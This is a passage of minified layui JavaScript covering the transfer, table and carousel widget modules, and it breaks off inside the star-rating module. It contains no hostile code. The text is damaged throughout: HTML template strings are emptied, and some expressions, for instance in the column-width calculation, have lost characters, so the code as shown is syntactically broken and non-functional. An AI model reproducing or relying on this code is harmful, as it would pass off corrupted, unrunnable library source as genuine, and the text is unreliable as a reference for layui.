          ");e.find("."+d)[0]&&e.find("."+d).remove(),t.replace(/\s/g,"")&&e.append(i)},x.prototype.setValue=function(){var e=this,t=e.config,i=[];return e.layBox.eq(1).find("."+y+' input[type="checkbox"]').each(function(){var e=a(this).data("hide");e||i.push(this.value)}),t.value=i,e},x.prototype.parseData=function(e){var t=this,i=t.config,n=[];return layui.each(i.data,function(t,l){l=("function"==typeof i.parseData?i.parseData(l):l)||l,n.push(l=a.extend({},l)),layui.each(i.value,function(e,a){a==l.value&&(l.selected=!0)}),e&&e(l)}),i.data=n,t},x.prototype.getData=function(e){var a=this,t=a.config,i=[];return a.setValue(),layui.each(e||t.value,function(e,a){layui.each(t.data,function(e,t){delete t.selected,a==t.value&&i.push(t)})}),i},x.prototype.events=function(){var e=this,t=e.config;e.elem.on("click",'input[lay-filter="layTransferCheckbox"]+',function(){var t=a(this).prev(),i=t[0].checked,n=t.parents("."+s).eq(0).find("."+y);t[0].disabled||("all"===t.attr("lay-type")&&n.find('input[type="checkbox"]').each(function(){this.disabled||(this.checked=i)}),e.renderCheckBtn({stopNone:!0}))}),e.layBtn.on("click",function(){var i=a(this),n=i.data("index"),l=e.layBox.eq(n),r=[];if(!i.hasClass(o)){e.layBox.eq(n).each(function(t){var i=a(this),n=i.find("."+y);n.children("li").each(function(){var t=a(this),i=t.find('input[type="checkbox"]'),n=i.data("hide");i[0].checked&&!n&&(i[0].checked=!1,l.siblings("."+s).find("."+y).append(t.clone()),t.remove(),r.push(i[0].value)),e.setValue()})}),e.renderCheckBtn();var c=l.siblings("."+s).find("."+h+" input");""===c.val()||c.trigger("keyup"),t.onchange&&t.onchange(e.getData(r),n)}}),e.laySearch.find("input").on("keyup",function(){var i=this.value,n=a(this).parents("."+h).eq(0).siblings("."+y),l=n.children("li");l.each(function(){var e=a(this),t=e.find('input[type="checkbox"]'),n=t[0].title.indexOf(i)!==-1;e[n?"removeClass":"addClass"](c),t.data("hide",!n)}),e.renderCheckBtn();var r=l.length===n.children("li."+c).length;e.noneView(n,r?t.text.searchNone:"")})},r.that={},r.config={},l.reload=function(e,a){var t=r.that[e];return t.reload(a),r.call(t)},l.getData=function(e){var a=r.that[e];return a.getData()},l.render=function(e){var a=new x(e);return r.call(a)},e(n,l)});layui.define(["laytpl","laypage","layer","form","util"],function(e){"use strict";var t=layui.$,i=layui.laytpl,a=layui.laypage,l=layui.layer,n=layui.form,o=(layui.util,layui.hint()),r=layui.device(),d={config:{checkName:"LAY_CHECKED",indexName:"LAY_TABLE_INDEX"},cache:{},index:layui.table?layui.table.index+1e4:0,set:function(e){var i=this;return i.config=t.extend({},i.config,e),i},on:function(e,t){return layui.onevent.call(this,y,e,t)}},c=function(){var e=this,t=e.config,i=t.id||t.index;return i&&(c.that[i]=e,c.config[i]=t),{config:t,reload:function(t,i){e.reload.call(e,t,i)},setColsWidth:function(){e.setColsWidth.call(e)},resize:function(){e.resize.call(e)}}},s=function(e){var t=c.config[e];return t||o.error(e?"The table instance with ID '"+e+"' not found":"ID argument required"),t||null},u=function(e,a,l,n){var o=e.templet?function(){return"function"==typeof e.templet?e.templet(l):i(t(e.templet).html()||String(a)).render(l)}():a;return n?t("
          "+o+"
          ").text():o},y="table",h=".layui-table",f="layui-hide",p="layui-none",v="layui-table-view",m=".layui-table-tool",g=".layui-table-box",b=".layui-table-init",x=".layui-table-header",k=".layui-table-body",C=".layui-table-main",w=".layui-table-fixed",T=".layui-table-fixed-l",N=".layui-table-fixed-r",A=".layui-table-total",L=".layui-table-page",S=".layui-table-sort",R="layui-table-edit",W="layui-table-hover",_=function(e){var t='{{#if(item2.colspan){}} colspan="{{item2.colspan}}"{{#} if(item2.rowspan){}} rowspan="{{item2.rowspan}}"{{#}}}';return e=e||{},['',"","{{# layui.each(d.data.cols, function(i1, item1){ }}","","{{# layui.each(item1, function(i2, item2){ }}",'{{# if(item2.fixed && item2.fixed !== "right"){ left = true; } }}','{{# if(item2.fixed === "right"){ right = true; } }}',function(){return e.fixed&&"right"!==e.fixed?'{{# if(item2.fixed && item2.fixed !== "right"){ }}':"right"===e.fixed?'{{# if(item2.fixed === "right"){ }}':""}(),"{{# var isSort = !(item2.colGroup) && item2.sort; }}",'",e.fixed?"{{# }; }}":"","{{# }); }}","","{{# }); }}","","
          ','
          ','{{# if(item2.type === "checkbox"){ }}','',"{{# } else { }}",'{{item2.title||""}}',"{{# if(isSort){ }}",'',"{{# } }}","{{# } }}","
          ","
          "].join("")},z=['',"","
          "].join(""),E=['
          ',"{{# if(d.data.toolbar){ }}",'
          ','
          ','
          ',"
          ","{{# } }}",'
          ',"{{# if(d.data.loading){ }}",'
          ','',"
          ","{{# } }}","{{# var left, right; }}",'
          ',_(),"
          ",'
          ',z,"
          ","{{# if(left){ }}",'
          ','
          ',_({fixed:!0}),"
          ",'
          ',z,"
          ","
          ","{{# }; }}","{{# if(right){ }}",'
          ','
          ',_({fixed:"right"}),'
          ',"
          ",'
          ',z,"
          ","
          ","{{# }; }}","
          ","{{# if(d.data.totalRow){ }}",'
          ','','',"
          ","
          ","{{# } }}","{{# if(d.data.page){ }}",'
          ','
          ',"
          ","{{# } }}","","
          "].join(""),j=t(window),F=t(document),I=function(e){var i=this;i.index=++d.index,i.config=t.extend({},i.config,d.config,e),i.render()};I.prototype.config={limit:10,loading:!0,cellMinWidth:60,defaultToolbar:["filter","exports","print"],autoSort:!0,text:{none:"无数据"}},I.prototype.render=function(){var e=this,a=e.config;if(a.elem=t(a.elem),a.where=a.where||{},a.id=a.id||a.elem.attr("id")||e.index,a.request=t.extend({pageName:"page",limitName:"limit"},a.request),a.response=t.extend({statusName:"code",statusCode:0,msgName:"msg",dataName:"data",totalRowName:"totalRow",countName:"count"},a.response),"object"==typeof a.page&&(a.limit=a.page.limit||a.limit,a.limits=a.page.limits||a.limits,e.page=a.page.curr=a.page.curr||1,delete a.page.elem,delete a.page.jump),!a.elem[0])return e;a.height&&/^full-\d+$/.test(a.height)&&(e.fullHeightGap=a.height.split("-")[1],a.height=j.height()-e.fullHeightGap),e.setInit();var l=a.elem,n=l.next("."+v),o=e.elem=t(i(E).render({VIEW_CLASS:v,data:a,index:e.index}));if(a.index=e.index,e.key=a.id||a.index,n[0]&&n.remove(),l.after(o),e.layTool=o.find(m),e.layBox=o.find(g),e.layHeader=o.find(x),e.layMain=o.find(C),e.layBody=o.find(k),e.layFixed=o.find(w),e.layFixLeft=o.find(T),e.layFixRight=o.find(N),e.layTotal=o.find(A),e.layPage=o.find(L),e.renderToolbar(),e.fullSize(),a.cols.length>1){var r=e.layFixed.find(x).find("th");r.height(e.layHeader.height()-1-parseFloat(r.css("padding-top"))-parseFloat(r.css("padding-bottom")))}e.pullData(e.page),e.events()},I.prototype.initOpts=function(e){var t=this,i=(t.config,{checkbox:48,radio:48,space:15,numbers:40});e.checkbox&&(e.type="checkbox"),e.space&&(e.type="space"),e.type||(e.type="normal"),"normal"!==e.type&&(e.unresize=!0,e.width=e.width||i[e.type])},I.prototype.setInit=function(e){var t=this,i=t.config;return i.clientWidth=i.width||function(){var e=function(t){var a,l;t=t||i.elem.parent(),a=t.width();try{l="none"===t.css("display")}catch(n){}return!t[0]||a&&!l?a:e(t.parent())};return e()}(),"width"===e?i.clientWidth:void layui.each(i.cols,function(e,a){layui.each(a,function(l,n){if(!n)return void a.splice(l,1);if(n.key=e+"-"+l,n.hide=n.hide||!1,n.colGroup||n.colspan>1){var o=0;layui.each(i.cols[e+1],function(t,i){i.HAS_PARENT||o>1&&o==n.colspan||(i.HAS_PARENT=!0,i.parentKey=e+"-"+l,o+=parseInt(i.colspan>1?i.colspan:1))}),n.colGroup=!0}t.initOpts(n)})})},I.prototype.renderToolbar=function(){var e=this,a=e.config,l=['
          ','
          ','
          '].join(""),n=e.layTool.find(".layui-table-tool-temp");if("default"===a.toolbar)n.html(l);else if("string"==typeof a.toolbar){var o=t(a.toolbar).html()||"";o&&n.html(i(o).render(a))}var r={filter:{title:"筛选列",layEvent:"LAYTABLE_COLS",icon:"layui-icon-cols"},exports:{title:"导出",layEvent:"LAYTABLE_EXPORT",icon:"layui-icon-export"},print:{title:"打印",layEvent:"LAYTABLE_PRINT",icon:"layui-icon-print"}},d=[];"object"==typeof a.defaultToolbar&&layui.each(a.defaultToolbar,function(e,t){var i="string"==typeof t?r[t]:t;i&&d.push('
          ')}),e.layTool.find(".layui-table-tool-self").html(d.join(""))},I.prototype.setParentCol=function(e,t){var i=this,a=i.config,l=i.layHeader.find('th[data-key="'+a.index+"-"+t+'"]'),n=parseInt(l.attr("colspan"))||0;if(l[0]){var o=t.split("-"),r=a.cols[o[0]][o[1]];e?n--:n++,l.attr("colspan",n),l[n<1?"addClass":"removeClass"](f),r.colspan=n,r.hide=n<1;var d=l.data("parentkey");d&&i.setParentCol(e,d)}},I.prototype.setColsPatch=function(){var e=this,t=e.config;layui.each(t.cols,function(t,i){layui.each(i,function(t,i){i.hide&&e.setParentCol(i.hide,i.parentKey)})})},I.prototype.setColsWidth=function(){var e=this,t=e.config,i=0,a=0,l=0,n=0,o=e.setInit("width");e.eachCols(function(e,t){t.hide||i++}),o=o-function(){return"line"===t.skin||"nob"===t.skin?2:i+1}()-e.getScrollWidth(e.layMain[0])-1;var r=function(e){layui.each(t.cols,function(i,r){layui.each(r,function(i,d){var c=0,s=d.minWidth||t.cellMinWidth;return d?void(d.colGroup||d.hide||(e?l&&ln&&a&&(l=(o-n)/a)};r(),r(!0),e.autoColNums=a,e.eachCols(function(i,a){var n=a.minWidth||t.cellMinWidth;a.colGroup||a.hide||(0===a.width?e.getCssRule(t.index+"-"+a.key,function(e){e.style.width=Math.floor(l>=n?l:n)+"px"}):/\d+%$/.test(a.width)&&e.getCssRule(t.index+"-"+a.key,function(e){e.style.width=Math.floor(parseFloat(a.width)/100*o)+"px"}))});var d=e.layMain.width()-e.getScrollWidth(e.layMain[0])-e.layMain.children("table").outerWidth();if(e.autoColNums&&d>=-i&&d<=i){var c=function(t){var i;return t=t||e.layHeader.eq(0).find("thead th:last-child"),i=t.data("field"),!i&&t.prev()[0]?c(t.prev()):t},s=c(),u=s.data("key");e.getCssRule(u,function(t){var i=t.style.width||s.outerWidth();t.style.width=parseFloat(i)+d+"px",e.layMain.height()-e.layMain.prop("clientHeight")>0&&(t.style.width=parseFloat(t.style.width)-1+"px")})}e.loading(!0)},I.prototype.resize=function(){var e=this;e.fullSize(),e.setColsWidth(),e.scrollPatch()},I.prototype.reload=function(e,i){var a=this;e=e||{},delete a.haveInit,e.data&&e.data.constructor===Array&&delete a.config.data,a.config=t.extend(i,{},a.config,e),a.render()},I.prototype.errorView=function(e){var i=this,a=i.layMain.find("."+p),l=t('
          '+(e||"Error")+"
          ");a[0]&&(i.layNone.remove(),a.remove()),i.layFixed.addClass(f),i.layMain.find("tbody").html(""),i.layMain.append(i.layNone=l),d.cache[i.key]=[]},I.prototype.page=1,I.prototype.pullData=function(e){var i=this,a=i.config,l=a.request,n=a.response,o=function(){"object"==typeof a.initSort&&i.sort(a.initSort.field,a.initSort.type)};if(i.startTime=(new Date).getTime(),a.url){var r={};r[l.pageName]=e,r[l.limitName]=a.limit;var d=t.extend(r,a.where);a.contentType&&0==a.contentType.indexOf("application/json")&&(d=JSON.stringify(d)),i.loading(),t.ajax({type:a.method||"get",url:a.url,contentType:a.contentType,data:d,dataType:"json",headers:a.headers||{},success:function(t){"function"==typeof a.parseData&&(t=a.parseData(t)||t),t[n.statusName]!=n.statusCode?(i.renderForm(),i.errorView(t[n.msgName]||'返回的数据不符合规范,正确的成功状态码应为:"'+n.statusName+'": '+n.statusCode)):(i.renderData(t,e,t[n.countName]),o(),a.time=(new Date).getTime()-i.startTime+" ms"),i.setColsWidth(),"function"==typeof a.done&&a.done(t,e,t[n.countName])},error:function(e,t){i.errorView("数据接口请求异常:"+t),i.renderForm(),i.setColsWidth(),"function"==typeof a.error&&a.error(e,t)}})}else if(a.data&&a.data.constructor===Array){var c={},s=e*a.limit-a.limit;c[n.dataName]=a.data.concat().splice(s,a.limit),c[n.countName]=a.data.length,"object"==typeof a.totalRow&&(c[n.totalRowName]=t.extend({},a.totalRow)),i.renderData(c,e,c[n.countName]),o(),i.setColsWidth(),"function"==typeof a.done&&a.done(c,e,c[n.countName])}},I.prototype.eachCols=function(e){var t=this;return d.eachCols(null,e,t.config.cols),t},I.prototype.renderData=function(e,n,o,r){var c=this,s=c.config,y=e[s.response.dataName]||[],h=e[s.response.totalRowName],v=[],m=[],g=[],b=function(){var e;return!r&&c.sortKey?c.sort(c.sortKey.field,c.sortKey.sort,!0):(layui.each(y,function(a,l){var o=[],y=[],h=[],p=a+s.limit*(n-1)+1;0!==l.length&&(r||(l[d.config.indexName]=a),c.eachCols(function(n,r){var c=r.field||n,v=s.index+"-"+r.key,m=l[c];if(void 0!==m&&null!==m||(m=""),!r.colGroup){var g=['','
          '+function(){var n=t.extend(!0,{LAY_INDEX:p},l),o=d.config.checkName;switch(r.type){case"checkbox":return'";case"radio":return n[o]&&(e=a),'';case"numbers":return p}return r.toolbar?i(t(r.toolbar).html()||"").render(n):u(r,m,n)}(),"
          "].join("");o.push(g),r.fixed&&"right"!==r.fixed&&y.push(g),"right"===r.fixed&&h.push(g)}}),v.push(''+o.join("")+""),m.push(''+y.join("")+""),g.push(''+h.join("")+""))}),c.layBody.scrollTop(0),c.layMain.find("."+p).remove(),c.layMain.find("tbody").html(v.join("")),c.layFixLeft.find("tbody").html(m.join("")),c.layFixRight.find("tbody").html(g.join("")),c.renderForm(),"number"==typeof e&&c.setThisRowChecked(e),c.syncCheckAll(),c.haveInit?c.scrollPatch():setTimeout(function(){c.scrollPatch()},50),c.haveInit=!0,l.close(c.tipsIndex),s.HAS_SET_COLS_PATCH||c.setColsPatch(),void(s.HAS_SET_COLS_PATCH=!0))};return d.cache[c.key]=y,c.layPage[0==o||0===y.length&&1==n?"addClass":"removeClass"](f),0===y.length?(c.renderForm(),c.errorView(s.text.none)):(c.layFixed.removeClass(f),r?b():(b(),c.renderTotal(y,h),void(s.page&&(s.page=t.extend({elem:"layui-table-page"+s.index,count:o,limit:s.limit,limits:s.limits||[10,20,30,40,50,60,70,80,90],groups:3,layout:["prev","page","next","skip","count","limit"],prev:'',next:'',jump:function(e,t){t||(c.page=e.curr,s.limit=e.limit,c.pullData(e.curr))}},s.page),s.page.count=o,a.render(s.page)))))},I.prototype.renderTotal=function(e,a){var l=this,n=l.config,o={};if(n.totalRow){layui.each(e,function(e,t){0!==t.length&&l.eachCols(function(e,i){var a=i.field||e,l=t[a];i.totalRow&&(o[a]=(o[a]||0)+(parseFloat(l)||0))})}),l.dataTotal={};var r=[];l.eachCols(function(e,d){var c=d.field||e,s=function(){var e=d.totalRowText||"",t=parseFloat(o[c]).toFixed(2),i={};return i[c]=t,t=u(d,t,i),a?a[d.field]||e:d.totalRow?t||e:e}(),y=['','
          '+function(){var e=d.totalRow||n.totalRow;return"string"==typeof e?i(e).render(t.extend({TOTAL_NUMS:s},d)):s}(),"
          "].join("");d.field&&(l.dataTotal[c]=s),r.push(y)}),l.layTotal.find("tbody").html(""+r.join("")+"")}},I.prototype.getColElem=function(e,t){var i=this,a=i.config;return e.eq(0).find(".laytable-cell-"+(a.index+"-"+t)+":eq(0)")},I.prototype.renderForm=function(e){n.render(e,"LAY-table-"+this.index)},I.prototype.setThisRowChecked=function(e){var t=this,i=(t.config,"layui-table-click"),a=t.layBody.find('tr[data-index="'+e+'"]');a.addClass(i).siblings("tr").removeClass(i)},I.prototype.sort=function(e,i,a,l){var n,r,c=this,s={},u=c.config,h=u.elem.attr("lay-filter"),f=d.cache[c.key];"string"==typeof e&&(n=e,c.layHeader.find("th").each(function(i,a){var l=t(this),o=l.data("field");if(o===e)return e=l,n=o,!1}));try{var n=n||e.data("field"),p=e.data("key");if(c.sortKey&&!a&&n===c.sortKey.field&&i===c.sortKey.sort)return;var v=c.layHeader.find("th .laytable-cell-"+p).find(S);c.layHeader.find("th").find(S).removeAttr("lay-sort"),v.attr("lay-sort",i||null),c.layFixed.find("th")}catch(m){o.error("Table modules: sort field '"+n+"' not matched")}c.sortKey={field:n,sort:i},u.autoSort&&("asc"===i?r=layui.sort(f,n):"desc"===i?r=layui.sort(f,n,!0):(r=layui.sort(f,d.config.indexName),delete c.sortKey)),s[u.response.dataName]=r||f,c.renderData(s,c.page,c.count,!0),l&&layui.event.call(e,y,"sort("+h+")",{field:n,type:i})},I.prototype.loading=function(e){var i=this,a=i.config;a.loading&&(e?(i.layInit&&i.layInit.remove(),delete i.layInit,i.layBox.find(b).remove()):(i.layInit=t(['
          ','',"
          "].join("")),i.layBox.append(i.layInit)))},I.prototype.setCheckData=function(e,t){var i=this,a=i.config,l=d.cache[i.key];l[e]&&l[e].constructor!==Array&&(l[e][a.checkName]=t)},I.prototype.syncCheckAll=function(){var e=this,t=e.config,i=e.layHeader.find('input[name="layTableCheckbox"]'),a=function(i){return e.eachCols(function(e,a){"checkbox"===a.type&&(a[t.checkName]=i)}),i};i[0]&&(d.checkStatus(e.key).isAll?(i[0].checked||(i.prop("checked",!0),e.renderForm("checkbox")),a(!0)):(i[0].checked&&(i.prop("checked",!1),e.renderForm("checkbox")),a(!1)))},I.prototype.getCssRule=function(e,t){var i=this,a=i.elem.find("style")[0],l=a.sheet||a.styleSheet||{},n=l.cssRules||l.rules;layui.each(n,function(i,a){if(a.selectorText===".laytable-cell-"+e)return t(a),!0})},I.prototype.fullSize=function(){var e,t=this,i=t.config,a=i.height;t.fullHeightGap&&(a=j.height()-t.fullHeightGap,a<135&&(a=135),t.elem.css("height",a)),a&&(e=parseFloat(a)-(t.layHeader.outerHeight()||38),i.toolbar&&(e-=t.layTool.outerHeight()||50),i.totalRow&&(e-=t.layTotal.outerHeight()||40),i.page&&(e-=t.layPage.outerHeight()||41),t.layMain.css("height",e-2))},I.prototype.getScrollWidth=function(e){var t=0;return e?t=e.offsetWidth-e.clientWidth:(e=document.createElement("div"),e.style.width="100px",e.style.height="100px",e.style.overflowY="scroll",document.body.appendChild(e),t=e.offsetWidth-e.clientWidth,document.body.removeChild(e)),t},I.prototype.scrollPatch=function(){var e=this,i=e.layMain.children("table"),a=e.layMain.width()-e.layMain.prop("clientWidth"),l=e.layMain.height()-e.layMain.prop("clientHeight"),n=(e.getScrollWidth(e.layMain[0]),i.outerWidth()-e.layMain.width()),o=function(e){if(a&&l){if(e=e.eq(0),!e.find(".layui-table-patch")[0]){var i=t('
          ');i.find("div").css({width:a}),e.find("tr").append(i)}}else e.find(".layui-table-patch").remove()};o(e.layHeader),o(e.layTotal);var r=e.layMain.height(),d=r-l;e.layFixed.find(k).css("height",i.height()>=d?d:"auto"),e.layFixRight[n>0?"removeClass":"addClass"](f),e.layFixRight.css("right",a-1)},I.prototype.events=function(){var e,i=this,a=i.config,o=t("body"),c={},s=i.layHeader.find("th"),h=".layui-table-cell",p=a.elem.attr("lay-filter");i.layTool.on("click","*[lay-event]",function(e){var o=t(this),c=o.attr("lay-event"),s=function(e){var l=t(e.list),n=t('
            ');n.html(l),a.height&&n.css("max-height",a.height-(i.layTool.outerHeight()||50)),o.find(".layui-table-tool-panel")[0]||o.append(n),i.renderForm(),n.on("click",function(e){layui.stope(e)}),e.done&&e.done(n,l)};switch(layui.stope(e),F.trigger("table.tool.panel.remove"),l.close(i.tipsIndex),c){case"LAYTABLE_COLS":s({list:function(){var e=[];return i.eachCols(function(t,i){i.field&&"normal"==i.type&&e.push('
          • ')}),e.join("")}(),done:function(){n.on("checkbox(LAY_TABLE_TOOL_COLS)",function(e){var l=t(e.elem),n=this.checked,o=l.data("key"),r=l.data("parentkey");layui.each(a.cols,function(e,t){layui.each(t,function(t,l){if(e+"-"+t===o){var d=l.hide;l.hide=!n,i.elem.find('*[data-key="'+a.index+"-"+o+'"]')[n?"removeClass":"addClass"](f),d!=l.hide&&i.setParentCol(!n,r),i.resize()}})})})}});break;case"LAYTABLE_EXPORT":r.ie?l.tips("导出功能不支持 IE,请用 Chrome 等高级浏览器导出",this,{tips:3}):s({list:function(){return['
          • 导出到 Csv 文件
          • ','
          • 导出到 Excel 文件
          • '].join("")}(),done:function(e,l){l.on("click",function(){var e=t(this).data("type");d.exportFile.call(i,a.id,null,e)})}});break;case"LAYTABLE_PRINT":var u=window.open("打印窗口","_blank"),h=[""].join(""),v=t(i.layHeader.html());v.append(i.layMain.find("table").html()),v.append(i.layTotal.find("table").html()),v.find("th.layui-table-patch").remove(),v.find(".layui-table-col-special").remove(),u.document.write(h+v.prop("outerHTML")),u.document.close(),u.print(),u.close()}layui.event.call(this,y,"toolbar("+p+")",t.extend({event:c,config:a},{}))}),s.on("mousemove",function(e){var i=t(this),a=i.offset().left,l=e.clientX-a;i.data("unresize")||c.resizeStart||(c.allowResize=i.width()-l<=10,o.css("cursor",c.allowResize?"col-resize":""))}).on("mouseleave",function(){t(this);c.resizeStart||o.css("cursor","")}).on("mousedown",function(e){var l=t(this);if(c.allowResize){var n=l.data("key");e.preventDefault(),c.resizeStart=!0,c.offset=[e.clientX,e.clientY],i.getCssRule(n,function(e){var t=e.style.width||l.outerWidth();c.rule=e,c.ruleWidth=parseFloat(t),c.minWidth=l.data("minwidth")||a.cellMinWidth})}}),F.on("mousemove",function(t){if(c.resizeStart){if(t.preventDefault(),c.rule){var a=c.ruleWidth+t.clientX-c.offset[0];a');return n[0].value=i.data("content")||l.text(),i.find("."+R)[0]||i.append(n),n.focus(),void layui.stope(e)}}).on("mouseenter","td",function(){b.call(this)}).on("mouseleave","td",function(){b.call(this,"hide")});var g="layui-table-grid-down",b=function(e){var i=t(this),a=i.children(h);if(!i.data("off"))if(e)i.find(".layui-table-grid-down").remove();else if(a.prop("scrollWidth")>a.outerWidth()){if(a.find("."+g)[0])return;i.append('
            ')}};i.layBody.on("click","."+g,function(e){var n=t(this),o=n.parent(),d=o.children(h);i.tipsIndex=l.tips(['
            ',d.html(),"
            ",''].join(""),d[0],{tips:[3,""],time:-1,anim:-1,maxWidth:r.ios||r.android?300:i.elem.width()/2,isOutAnim:!1,skin:"layui-table-tips",success:function(e,t){e.find(".layui-table-tips-c").on("click",function(){l.close(t)})}}),layui.stope(e)}),i.layBody.on("click","*[lay-event]",function(){var e=t(this),a=e.parents("tr").eq(0).data("index");layui.event.call(this,y,"tool("+p+")",v.call(this,{event:e.attr("lay-event")})),i.setThisRowChecked(a)}),i.layMain.on("scroll",function(){var e=t(this),a=e.scrollLeft(),n=e.scrollTop();i.layHeader.scrollLeft(a),i.layTotal.scrollLeft(a),i.layFixed.find(k).scrollTop(n),l.close(i.tipsIndex)}),j.on("resize",function(){i.resize()})},function(){F.on("click",function(){F.trigger("table.remove.tool.panel")}),F.on("table.remove.tool.panel",function(){t(".layui-table-tool-panel").remove()})}(),d.init=function(e,i){i=i||{};var a=this,l=t(e?'table[lay-filter="'+e+'"]':h+"[lay-data]"),n="Table element property lay-data configuration item has a syntax error: ";return l.each(function(){var a=t(this),l=a.attr("lay-data");try{l=new Function("return "+l)()}catch(r){o.error(n+l,"error")}var c=[],s=t.extend({elem:this,cols:[],data:[],skin:a.attr("lay-skin"),size:a.attr("lay-size"),even:"string"==typeof a.attr("lay-even")},d.config,i,l);e&&a.hide(),a.find("thead>tr").each(function(e){s.cols[e]=[],t(this).children().each(function(i){var a=t(this),l=a.attr("lay-data");try{l=new Function("return "+l)()}catch(r){return o.error(n+l)}var d=t.extend({title:a.text(),colspan:a.attr("colspan")||0,rowspan:a.attr("rowspan")||0},l);d.colspan<2&&c.push(d),s.cols[e].push(d)})}),a.find("tbody>tr").each(function(e){var i=t(this),a={};i.children("td").each(function(e,i){var l=t(this),n=l.data("field");if(n)return a[n]=l.html()}),layui.each(c,function(e,t){var l=i.children("td").eq(e);a[t.field]=l.html()}),s.data[e]=a}),d.render(s)}),a},c.that={},c.config={},d.eachCols=function(e,i,a){var l=c.config[e]||{},n=[],o=0;a=t.extend(!0,[],a||l.cols),layui.each(a,function(e,t){layui.each(t,function(t,i){if(i.colGroup){var l=0;o++,i.CHILD_COLS=[],layui.each(a[e+1],function(e,t){t.PARENT_COL_INDEX||l>1&&l==i.colspan||(t.PARENT_COL_INDEX=o,i.CHILD_COLS.push(t),l+=parseInt(t.colspan>1?t.colspan:1))})}i.PARENT_COL_INDEX||n.push(i)})});var r=function(e){layui.each(e||n,function(e,t){return t.CHILD_COLS?r(t.CHILD_COLS):void("function"==typeof i&&i(e,t))})};r()},d.checkStatus=function(e){var t=0,i=0,a=[],l=d.cache[e]||[];return layui.each(l,function(e,l){return l.constructor===Array?void i++:void(l[d.config.checkName]&&(t++,a.push(d.clearCacheKey(l))))}),{data:a,isAll:!!l.length&&t===l.length-i}},d.getData=function(e){var t=[],i=d.cache[e]||[];return layui.each(i,function(e,i){i.constructor!==Array&&t.push(d.clearCacheKey(i))}),t},d.exportFile=function(e,t,i){var a=this;t=t||d.clearCacheKey(d.cache[e]),i=i||"csv";var l=c.config[e]||{},n={csv:"text/csv",xls:"application/vnd.ms-excel"}[i],s=document.createElement("a");return r.ie?o.error("IE_NOT_SUPPORT_EXPORTS"):(s.href="data:"+n+";charset=utf-8,\ufeff"+encodeURIComponent(function(){var i=[],l=[],n=[];return layui.each(t,function(t,a){var n=[];"object"==typeof e?(layui.each(e,function(e,a){0==t&&i.push(a||"")}),layui.each(d.clearCacheKey(a),function(e,t){n.push('"'+(t||"")+'"')})):d.eachCols(e,function(e,l){if(l.field&&"normal"==l.type&&!l.hide){var o=a[l.field];void 0!==o&&null!==o||(o=""),0==t&&i.push(l.title||""),n.push('"'+u(l,o,a,"text")+'"')}}),l.push(n.join(","))}),layui.each(a.dataTotal,function(e,t){n.push(t)}),i.join(",")+"\r\n"+l.join("\r\n")+"\r\n"+n.join(",")}()),s.download=(l.title||"table_"+(l.index||""))+"."+i,document.body.appendChild(s),s.click(),void document.body.removeChild(s))},d.resize=function(e){if(e){var t=s(e);if(!t)return;c.that[e].resize()}else layui.each(c.that,function(){this.resize()})},d.reload=function(e,t,i){var a=s(e);if(a){var l=c.that[e];return l.reload(t,i),c.call(l)}},d.render=function(e){var t=new I(e);return c.call(t)},d.clearCacheKey=function(e){return e=t.extend({},e),delete e[d.config.checkName],delete e[d.config.indexName],e},d.init(),e(y,d)});layui.define("jquery",function(e){"use strict";var i=layui.$,n=(layui.hint(),layui.device(),{config:{},set:function(e){var n=this;return n.config=i.extend({},n.config,e),n},on:function(e,i){return layui.onevent.call(this,t,e,i)}}),t="carousel",a="layui-this",l=">*[carousel-item]>*",o="layui-carousel-left",r="layui-carousel-right",d="layui-carousel-prev",s="layui-carousel-next",u="layui-carousel-arrow",c="layui-carousel-ind",m=function(e){var t=this;t.config=i.extend({},t.config,n.config,e),t.render()};m.prototype.config={width:"600px",height:"280px",full:!1,arrow:"hover",indicator:"inside",autoplay:!0,interval:3e3,anim:"",trigger:"click",index:0},m.prototype.render=function(){var e=this,n=e.config;n.elem=i(n.elem),n.elem[0]&&(e.elemItem=n.elem.find(l),n.index<0&&(n.index=0),n.index>=e.elemItem.length&&(n.index=e.elemItem.length-1),n.interval<800&&(n.interval=800),n.full?n.elem.css({position:"fixed",width:"100%",height:"100%",zIndex:9999}):n.elem.css({width:n.width,height:n.height}),n.elem.attr("lay-anim",n.anim),e.elemItem.eq(n.index).addClass(a),e.elemItem.length<=1||(e.indicator(),e.arrow(),e.autoplay(),e.events()))},m.prototype.reload=function(e){var n=this;clearInterval(n.timer),n.config=i.extend({},n.config,e),n.render()},m.prototype.prevIndex=function(){var e=this,i=e.config,n=i.index-1;return n<0&&(n=e.elemItem.length-1),n},m.prototype.nextIndex=function(){var e=this,i=e.config,n=i.index+1;return n>=e.elemItem.length&&(n=0),n},m.prototype.addIndex=function(e){var i=this,n=i.config;e=e||1,n.index=n.index+e,n.index>=i.elemItem.length&&(n.index=0)},m.prototype.subIndex=function(e){var i=this,n=i.config;e=e||1,n.index=n.index-e,n.index<0&&(n.index=i.elemItem.length-1)},m.prototype.autoplay=function(){var e=this,i=e.config;i.autoplay&&(clearInterval(e.timer),e.timer=setInterval(function(){e.slide()},i.interval))},m.prototype.arrow=function(){var e=this,n=e.config,t=i(['",'"].join(""));n.elem.attr("lay-arrow",n.arrow),n.elem.find("."+u)[0]&&n.elem.find("."+u).remove(),n.elem.append(t),t.on("click",function(){var n=i(this),t=n.attr("lay-type");e.slide(t)})},m.prototype.indicator=function(){var e=this,n=e.config,t=e.elemInd=i(['
              ',function(){var i=[];return layui.each(e.elemItem,function(e){i.push("")}),i.join("")}(),"
            "].join(""));n.elem.attr("lay-indicator",n.indicator),n.elem.find("."+c)[0]&&n.elem.find("."+c).remove(),n.elem.append(t),"updown"===n.anim&&t.css("margin-top",-(t.height()/2)),t.find("li").on("hover"===n.trigger?"mouseover":n.trigger,function(){var t=i(this),a=t.index();a>n.index?e.slide("add",a-n.index):al.length&&(l.value=l.length),parseInt(l.value)!==l.value&&(l.half||(l.value=Math.ceil(l.value)-l.value<.5?Math.ceil(l.value):Math.floor(l.value)));for(var n='
              ",s=1;s<=l.length;s++){var r='
            • ";l.half&&parseInt(l.value)!==l.value&&s==Math.ceil(l.value)?n=n+'
            • ":n+=r}n+="
